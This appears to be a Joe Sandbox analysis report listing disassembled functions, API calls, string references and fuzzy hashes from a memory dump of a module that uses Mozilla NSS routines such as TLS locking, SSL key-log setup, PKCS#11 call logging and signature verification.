Part of subcall function 6C7A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C73204A), ref: 6C7A07CD
Part of subcall function 6C7A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C73204A), ref: 6C7A07D6
Part of subcall function 6C7A07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C73204A), ref: 6C7A07E4
Part of subcall function 6C7A07A0: TlsSetValue.KERNEL32(00000000,?,6C73204A), ref: 6C7A0864
Part of subcall function 6C7A07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C7A0880
Part of subcall function 6C7A07A0: TlsSetValue.KERNEL32(00000000,?,?,6C73204A), ref: 6C7A08CB
Part of subcall function 6C7A07A0: TlsGetValue.KERNEL32(?,?,6C73204A), ref: 6C7A08D7
Part of subcall function 6C7A07A0: TlsGetValue.KERNEL32(?,?,6C73204A), ref: 6C7A08FB

TlsGetValue.KERNEL32 ref: 6C7F4DD7
EnterCriticalSection.KERNEL32(?), ref: 6C7F4DEC
PR_Unlock.NSS3(?), ref: 6C7F4E1B
PR_SetError.NSS3(00000000,00000000), ref: 6C7F4E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7F4E5A
PR_SetError.NSS3(00000000,00000000), ref: 6C7F4E71
free.MOZGLUE(00000000), ref: 6C7F4E7A
PR_Unlock.NSS3(?), ref: 6C7F4EA2
TlsGetValue.KERNEL32 ref: 6C7F4EC1
EnterCriticalSection.KERNEL32(?), ref: 6C7F4ED6
PR_Unlock.NSS3(?), ref: 6C7F4F01
free.MOZGLUE(00000000), ref: 6C7F4F2A

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: 62a9c354d297fa06ad1b1b73d1feca88b337e307cd9739832633d9852f73ac1d
Instruction ID: 4b293e8d00706f4a6f0549996a34d476f775e21738ff4f87e7d092b96c08115c
Opcode Fuzzy Hash: 62a9c354d297fa06ad1b1b73d1feca88b337e307cd9739832633d9852f73ac1d
Instruction Fuzzy Hash: 34B10371A00205DFEB00DF68DA85AAA77B4BF09318F144538ED2597B41E730E966CBE2

Function 6C846E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6C846BF7), ref: 6C846EB6

Part of subcall function 6C7A1240: TlsGetValue.KERNEL32(00000040,?,6C7A116C,NSPR_LOG_MODULES), ref: 6C7A1267
Part of subcall function 6C7A1240: EnterCriticalSection.KERNEL32(?,?,?,6C7A116C,NSPR_LOG_MODULES), ref: 6C7A127C
Part of subcall function 6C7A1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C7A116C,NSPR_LOG_MODULES), ref: 6C7A1291
Part of subcall function 6C7A1240: PR_Unlock.NSS3(?,?,?,?,6C7A116C,NSPR_LOG_MODULES), ref: 6C7A12A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6C8EFC0A,6C846BF7), ref: 6C846ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C846EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6C846EFC
PR_NewLock.NSS3 ref: 6C846F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C846F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6C846BF7), ref: 6C846F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6C846BF7), ref: 6C846F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6C846BF7), ref: 6C846FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6C846BF7), ref: 6C846FFD

Strings

SSLFORCELOCKS, xrefs: 6C846F2B
# SSL/TLS secrets log file, generated by NSS, xrefs: 6C846EF7
SSLKEYLOGFILE, xrefs: 6C846EB1
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6C846F4F
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6C846FDB
NSS_SSL_CBC_RANDOM_IV, xrefs: 6C846FF8

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: e813fc040d1d5daac22904f598fb1ddf00190e64740763093adf474859010249
Instruction ID: 4aa0d0e3e1ff7365ff29d81487affb70a4175765566d2d6fc420bbb18a5941d5
Opcode Fuzzy Hash: e813fc040d1d5daac22904f598fb1ddf00190e64740763093adf474859010249
Instruction Fuzzy Hash: 7AA1F9B2B6999C86E730473CCA0335436B2AB93329FA8CB65E835C7ED4DB369450C241

Function 6C7BC4B0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 247COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C7BC4D5

Part of subcall function 6C80BE30: SECOID_FindOID_Util.NSS3(6C7C311B,00000000,?,6C7C311B,?), ref: 6C80BE44

NSS_GetAlgorithmPolicy.NSS3(?,?), ref: 6C7BC516
NSS_GetAlgorithmPolicy.NSS3(?,?), ref: 6C7BC530
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C7BC54E
NSS_GetAlgorithmPolicy.NSS3(00000000,00000000), ref: 6C7BC5CB
VFY_VerifyDataWithAlgorithmID.NSS3(00000002,?,?,?,?,?,?), ref: 6C7BC712
NSS_GetAlgorithmPolicy.NSS3(?,?), ref: 6C7BC725
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C7BC742
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C7BC751
PL_FinishArenaPool.NSS3(?), ref: 6C7BC77A
NSS_GetAlgorithmPolicy.NSS3(?,00000000), ref: 6C7BC78F
NSS_GetAlgorithmPolicy.NSS3(?,00000000), ref: 6C7BC7A9

Strings

security, xrefs: 6C7BC63F

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Algorithm$Policy$Util$ErrorTag_$ArenaDataFindFinishPoolVerifyWith
String ID: security
API String ID: 1085474831-3315324353
Opcode ID: cb990d09a261c34733a954d49f87dfa178d408ed3e26264391c04815e4e9a8ea
Instruction ID: d72bac4d4e46a0306234bc5e4c6ffb1199bac73e5059a772f901047a99162fbc
Opcode Fuzzy Hash: cb990d09a261c34733a954d49f87dfa178d408ed3e26264391c04815e4e9a8ea
Instruction Fuzzy Hash: 18810671D0410A9BEB10AE65DF85FEE7774EF0130EF248135E901B6A52E371E949CAA2

Function 6C7E6D60 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6C7E6D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C7E6DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C7E6DC3

Part of subcall function 6C8CD930: PL_strncpyz.NSS3(?,?,?), ref: 6C8CD963

PR_LogPrint.NSS3(?,00000000), ref: 6C7E6DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C7E6DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C7E6E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6C7E6E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6C7E6E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6C7E6EB9

Strings

pulDigestLen = 0x%p, xrefs: 6C7E6E42
(CK_INVALID_HANDLE), xrefs: 6C7E6DBC
pDigest = 0x%p, xrefs: 6C7E6E27
ulDataLen = %d, xrefs: 6C7E6E0E
*pulDigestLen = 0x%x, xrefs: 6C7E6EB4
hSession = 0x%x, xrefs: 6C7E6D9E, 6C7E6DAE
pData = 0x%p, xrefs: 6C7E6DF5
C_Digest, xrefs: 6C7E6D81

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest
API String ID: 1003633598-2270781106
Opcode ID: 424af8575f055d796277b1a4d31ad3cba77ff9343fbdbdf61739813bb6d97aa9
Instruction ID: ff78dec53789d1d595939ab99bc27195cadd940d1ba5537e5d545c18bcc37f77
Opcode Fuzzy Hash: 424af8575f055d796277b1a4d31ad3cba77ff9343fbdbdf61739813bb6d97aa9
Instruction Fuzzy Hash: BA41E376600108AFDB10EF64DE4FB9A3BB5EB46318F554464E90897B12DB31EA18CB92

Function 6C7E8500 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptDigestUpdate), ref: 6C7E8526
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C7E8554
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C7E8563

Part of subcall function 6C8CD930: PL_strncpyz.NSS3(?,?,?), ref: 6C8CD963

PR_LogPrint.NSS3(?,00000000), ref: 6C7E8579
PR_LogPrint.NSS3( pEncryptedPart = 0x%p,?), ref: 6C7E859A
PR_LogPrint.NSS3( ulEncryptedPartLen = %d,?), ref: 6C7E85B3
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C7E85CC
PR_LogPrint.NSS3( pulPartLen = 0x%p,?), ref: 6C7E85E7
PR_LogPrint.NSS3( *pulPartLen = 0x%x,?), ref: 6C7E8659

Strings

ulEncryptedPartLen = %d, xrefs: 6C7E85AE
(CK_INVALID_HANDLE), xrefs: 6C7E855C
*pulPartLen = 0x%x, xrefs: 6C7E8654
pPart = 0x%p, xrefs: 6C7E85C7
hSession = 0x%x, xrefs: 6C7E853E, 6C7E854E
C_DecryptDigestUpdate, xrefs: 6C7E8521
pulPartLen = 0x%p, xrefs: 6C7E85E2
pEncryptedPart = 0x%p, xrefs: 6C7E8595

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulPartLen = 0x%x$ hSession = 0x%x$ pEncryptedPart = 0x%p$ pPart = 0x%p$ pulPartLen = 0x%p$ ulEncryptedPartLen = %d$ (CK_INVALID_HANDLE)$C_DecryptDigestUpdate
API String ID: 1003633598-1019776760
Opcode ID: f831c733f3eadf48e19630c623b9dddc2d3cbe50a8b2b8c73128e17736fd50a7
Instruction ID: 867b1b862afcb3aa30819f35958e1114e459951bef9c780f97348491d59a5858
Opcode Fuzzy Hash: f831c733f3eadf48e19630c623b9dddc2d3cbe50a8b2b8c73128e17736fd50a7
Instruction Fuzzy Hash: E341E476601144AFDB10DB58DE4EA5A37B1EB4A31CF194426E40867B12DB31E958CB92

Function 6C7E8690 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignEncryptUpdate), ref: 6C7E86B6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C7E86E4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C7E86F3

Part of subcall function 6C8CD930: PL_strncpyz.NSS3(?,?,?), ref: 6C8CD963

PR_LogPrint.NSS3(?,00000000), ref: 6C7E8709
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C7E872A
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C7E8743
PR_LogPrint.NSS3( pEncryptedPart = 0x%p,?), ref: 6C7E875C
PR_LogPrint.NSS3( pulEncryptedPartLen = 0x%p,?), ref: 6C7E8777
PR_LogPrint.NSS3( *pulEncryptedPartLen = 0x%x,?), ref: 6C7E87E9

Strings

C_SignEncryptUpdate, xrefs: 6C7E86B1
pulEncryptedPartLen = 0x%p, xrefs: 6C7E8772
(CK_INVALID_HANDLE), xrefs: 6C7E86EC
*pulEncryptedPartLen = 0x%x, xrefs: 6C7E87E4
pPart = 0x%p, xrefs: 6C7E8725
hSession = 0x%x, xrefs: 6C7E86CE, 6C7E86DE
ulPartLen = %d, xrefs: 6C7E873E
pEncryptedPart = 0x%p, xrefs: 6C7E8757

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulEncryptedPartLen = 0x%x$ hSession = 0x%x$ pEncryptedPart = 0x%p$ pPart = 0x%p$ pulEncryptedPartLen = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_SignEncryptUpdate
API String ID: 1003633598-3528238837
Opcode ID: c7407abe3a0490be15dafcac2196bb1d2858bf6b1001d87ac067507739293746
Instruction ID: 3c94b534485ebbebbcc4a0f686ff77f56d431fc43090e227c0cf35b4af68ddfb
Opcode Fuzzy Hash: c7407abe3a0490be15dafcac2196bb1d2858bf6b1001d87ac067507739293746
Instruction Fuzzy Hash: 89410676601104AFDB10DF69DF4EB9A37B1EB4B32DF154425E80867B12DB31E918CBA2

Function 6C7E8820 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptVerifyUpdate), ref: 6C7E8846
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C7E8874
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C7E8883

Part of subcall function 6C8CD930: PL_strncpyz.NSS3(?,?,?), ref: 6C8CD963

PR_LogPrint.NSS3(?,00000000), ref: 6C7E8899
PR_LogPrint.NSS3( pEncryptedPart = 0x%p,?), ref: 6C7E88BA
PR_LogPrint.NSS3( ulEncryptedPartLen = %d,?), ref: 6C7E88D3
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C7E88EC
PR_LogPrint.NSS3( pulPartLen = 0x%p,?), ref: 6C7E8907
PR_LogPrint.NSS3( *pulPartLen = 0x%x,?), ref: 6C7E8979

Strings

ulEncryptedPartLen = %d, xrefs: 6C7E88CE
(CK_INVALID_HANDLE), xrefs: 6C7E887C
*pulPartLen = 0x%x, xrefs: 6C7E8974
pPart = 0x%p, xrefs: 6C7E88E7
hSession = 0x%x, xrefs: 6C7E885E, 6C7E886E
C_DecryptVerifyUpdate, xrefs: 6C7E8841
pulPartLen = 0x%p, xrefs: 6C7E8902
pEncryptedPart = 0x%p, xrefs: 6C7E88B5

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulPartLen = 0x%x$ hSession = 0x%x$ pEncryptedPart = 0x%p$ pPart = 0x%p$ pulPartLen = 0x%p$ ulEncryptedPartLen = %d$ (CK_INVALID_HANDLE)$C_DecryptVerifyUpdate
API String ID: 1003633598-2764998763
Opcode ID: c79502ab7ba1b63b12061e7cae3b13d9aaaccefc79871fae29b31020da6e0fe7
Instruction ID: 3da9b3c1c17f96d226de9a4e0ab593e1aa57d5afbade7fe416b9f29e36cf71d4
Opcode Fuzzy Hash: c79502ab7ba1b63b12061e7cae3b13d9aaaccefc79871fae29b31020da6e0fe7
Instruction Fuzzy Hash: 3041D376A05144AFDB10DB58DF4EB9A3BB1EB4B31CF154865E80867B12D730E918CB92

Function 6C824500 Relevance: 28.8, APIs: 19, Instructions: 319threadCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(6C823803,?,6C823817,00000000), ref: 6C82450E

Part of subcall function 6C8107B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C7B8298,?,?,?,6C7AFCE5,?), ref: 6C8107BF
Part of subcall function 6C8107B0: PL_HashTableLookup.NSS3(?,?), ref: 6C8107E6
Part of subcall function 6C8107B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C81081B
Part of subcall function 6C8107B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C810825

PR_SetError.NSS3(FFFFE005,00000000,?,6C823817,00000000), ref: 6C824550
SECOID_FindOIDByTag_Util.NSS3(00000004,00000000), ref: 6C8245B5
SECOID_FindOIDByTag_Util.NSS3(000000BF,00000000), ref: 6C824709
SECOID_GetAlgorithmTag_Util.NSS3(?,00000000), ref: 6C824727
SECOID_GetAlgorithmTag_Util.NSS3(?,?,00000000), ref: 6C82473B
PORT_NewArena_Util.NSS3(00000400,?,?,?,?,?,?,?,00000000), ref: 6C824801
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6C8E2DA0,?,?,?,?,?,?,?,?,00000000), ref: 6C82482E
PR_GetCurrentThread.NSS3 ref: 6C8248F3
PR_SetError.NSS3(FFFFE02F,00000000), ref: 6C824923
PR_SetError.NSS3(FFFFE02F,00000000), ref: 6C824937
SECKEY_DestroyPublicKey.NSS3(?,?,?,00000000), ref: 6C82494E
PR_SetError.NSS3(FFFFE02F,00000000,?,?,?,00000000), ref: 6C824963
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C824984
VFY_VerifyDataWithAlgorithmID.NSS3(?,?,?,6C8221C2,?,?,?), ref: 6C82499C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C8249B5
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,00000000), ref: 6C8249C5
PR_SetError.NSS3(FFFFE00A,00000000), ref: 6C8249DC
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C8249E9

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Util$Error$Arena_Tag_$AlgorithmFindFree$DestroyHashLookupPublicTable$ConstCurrentDataEncodeItem_ThreadVerifyWith
String ID:
API String ID: 3698863438-0
Opcode ID: 7aedb608d34e82c0702f1181476e9d795d7a36a8af970dc949fa658921cd7ac6
Instruction ID: 6a3b19214741e5f262fa5549b66a67e6aac9492abd1752399764fd5567f6a641
Opcode Fuzzy Hash: 7aedb608d34e82c0702f1181476e9d795d7a36a8af970dc949fa658921cd7ac6
Instruction Fuzzy Hash: 5AA1F8B5E011049BEF208A68DF48BAE3765AFC531CF144934ED05A7B91E729E884CBF1

Function 6C8428C0 Relevance: 27.2, APIs: 18, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 6C845B40: PR_GetIdentitiesLayer.NSS3 ref: 6C845B56

TlsGetValue.KERNEL32 ref: 6C84290A
EnterCriticalSection.KERNEL32(00000001), ref: 6C84291E
TlsGetValue.KERNEL32 ref: 6C842937
EnterCriticalSection.KERNEL32(00000001), ref: 6C84294B
PR_EnterMonitor.NSS3(?), ref: 6C842966
PR_EnterMonitor.NSS3(?), ref: 6C8429AC
PR_ExitMonitor.NSS3(?), ref: 6C8429D1
PR_EnterMonitor.NSS3(?), ref: 6C8429F0
PR_EnterMonitor.NSS3(?), ref: 6C842A15
PR_EnterMonitor.NSS3(?), ref: 6C842A37
PR_ExitMonitor.NSS3(?), ref: 6C842A61
PR_ExitMonitor.NSS3(?), ref: 6C842A78
PR_ExitMonitor.NSS3(?), ref: 6C842A8F
PR_ExitMonitor.NSS3(?), ref: 6C842AA6

Part of subcall function 6C879440: TlsGetValue.KERNEL32 ref: 6C87945B
Part of subcall function 6C879440: TlsGetValue.KERNEL32 ref: 6C879479
Part of subcall function 6C879440: EnterCriticalSection.KERNEL32 ref: 6C879495
Part of subcall function 6C879440: TlsGetValue.KERNEL32 ref: 6C8794E4
Part of subcall function 6C879440: TlsGetValue.KERNEL32 ref: 6C879532
Part of subcall function 6C879440: LeaveCriticalSection.KERNEL32 ref: 6C87955D

PK11_HPKE_DestroyContext.NSS3(?,00000001), ref: 6C842AF9
free.MOZGLUE(?), ref: 6C842B16
PR_Unlock.NSS3(?), ref: 6C842B6D
PR_Unlock.NSS3(?), ref: 6C842B80

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Monitor$Enter$Value$Exit$CriticalSection$Unlock$ContextDestroyIdentitiesK11_LayerLeavefree
String ID:
API String ID: 2841089016-0
Opcode ID: 43313db4a2fec3ef1f6cc2f2d62a966dfe6f118e9deae03c393f9ae5728f686a
Instruction ID: 0a41c8f904c7fc93c7c645a6a313dc09d092f32815afe7a80593dbe35e8a343f
Opcode Fuzzy Hash: 43313db4a2fec3ef1f6cc2f2d62a966dfe6f118e9deae03c393f9ae5728f686a
Instruction Fuzzy Hash: DE81B3B1A047049BEB309F38ED49B97B6F5AF15308F048D38D85AC6A11EB35E518CB92

Function 6C808E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6C808E01,00000000,6C809060,6C910B64), ref: 6C808E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6C808E01,00000000,6C809060,6C910B64), ref: 6C808E9E
PORT_ArenaAlloc_Util.NSS3(6C910B64,00000001,?,?,?,?,6C808E01,00000000,6C809060,6C910B64), ref: 6C808EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6C808E01,00000000,6C809060,6C910B64), ref: 6C808EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6C808E01,00000000,6C809060,6C910B64), ref: 6C808ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6C808E01,00000000,6C809060,6C910B64), ref: 6C808EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6C808E01), ref: 6C808EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C910B64,6C910B64), ref: 6C808F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6C808F3F

